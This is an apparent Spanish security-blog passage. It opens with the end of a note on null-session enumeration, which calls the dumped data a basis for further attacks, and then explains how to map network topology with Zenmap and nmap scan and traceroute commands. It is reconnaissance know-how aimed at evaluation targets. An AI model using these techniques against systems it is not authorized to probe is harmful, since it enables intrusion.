Este mismo procedimiento es utilizado para realizar volcados de los permisos del sistema de archivos, registro, impresoras, compartidos, directorios compartidos, usuarios, grupos, políticas, derechos y servicios. Todo esto brinda un conocimiento profundo sobre el objetivo de evaluación, consecuencia de ello será factible explotar estas debilidades o utilizar esta información para perfilar otros ataques.

Fuentes:

http://www.systemtools.com/somarsoft/index.html
http://en.wikipedia.org/wiki/Null_session

Crear Topologías de Red con Zenmap

Body

Zenmap es la interfaz gráfica de usuario (GUI) para el escaner de seguridad nmap. Es un aplicación open source libre y multiplataforma diseñada para facilitar el uso de nmap para los principiantes, mientras proporciona características avanzadas para usuarios experimentados de nmap. Los escaneos frecuentemente utilizados pueden ser guardados como perfiles para hacerlos fáciles de ejecutar repetidamente. Un creador de comandos permite la creación interactiva de líneas de comandos de nmap. Los resultados del escaneo pueden ser guardados y vistos posteriormente. Los escaneos guardados pueden ser comparados con algún otro para ver sus diferencias. Y los resultados de escaneos recientes son almacenados en una base de datos.

Topología en Zenmap

La pestaña “Topología” de Zenmap proporciona una visualización animada e interactiva de las conexiones entre hosts sobre una red. Los hosts son mostrados como nodos sobre una gráfica que se extiende radialmente desde el centro. Con un clic y arrastre se desplaza la pantalla y se utilizan los controles proporcionados para acercar o alejar. Al hacer clic en un host, este se convierte en el nuevo centro. La gráfica se reordena a si misma en una animación para reflejar la nueva vista de la red. Al ejecutar un nuevo escaneo, cada nuevo host y ruta de red será añadida automáticamente a la topología.

La vista de topología es muy poderosa cuando se combina con la opción “--traceroute”, debido a que esta opción descubre la ruta de la red hacia un host. Se puede visualizar un inventario de la red que no tiene información para el trazado de la ruta en la topología, pero las rutas de la red no serán visibles. Recordar, que es factible agregar información para el trazado de la ruta a un inventario de la red ejecutando otro escaneo gracias a funcionalidad de agregación de escaneo de Zenmap

Se ejecuta Zenmap, invocando el comando desde consola.


# zenmap &

Se proceden a realizar tres escaneos utilizando el perfil “Regular scan” o Escaneo regular.

# nmap [Dirección IP]

Hacer clic en la pestaña de nombre “Topology” o Topología.

Se escanea uno de los objetivos de evaluación para descubrir su ruta utilizando la opción “--traceroute” de nmap”.


# nma -sn --traceroute [Dirección IP]

La pestaña topología ahora detalla de manera visual, la ruta hacia el objetivo de evaluación escaneado. Este mismo procedimiento se realiza contra los otros dos objetivos de evaluación.

Anotar en los resultados obtenidos para la traza de la ruta hacia estos tres objetivos de evaluación, los nodos de coincidencia para llegar a ellos. Los cuales podrían revelar un esquema de balanceao de carga, routers, u otro tipo de dispositivo.

La vista topología utiliza diversos símbolos y colores. A continuación se detallan algunos de los obtenidos durante las prácticas realizadas.

Los host regulares en la red son representados por un pequeño circulo.
Los círculos en color rojo implica que el host tiene más de seis puertos abiertos.

Las conexiones entre los host se muestra con líneas coloreadas. Las conexión principal para la traza de la ruta son mostradas como líneas de color azul. Si no hay información RTT para un salto, la conexión se muestra con una línea punteada de color azul, y el host que hace la conexión se muestra con un delineado azul.

Existen también hosts de propósito especial, los cuales tienen uno o más iconos describiendo el tipo que son.

El candado de color amarillo revela que el host tiene algunos puertos filtrados.

Se puede encontrar información adicional y detallada sobre todas las capacidades que proporciona la Topología de Zenmap en el capítulo 12 de la Guía Oficial del Proyecto Nmap para Descubrimiento de la Red y Escaneo de Seguridad escrito por Gordon “Fyodor” Lyon.

Fuentes:

http://nmap.org/book/zenmap.html
http://nmap.org/book/zenmap-topology.html
http://nmap.org/book/toc.html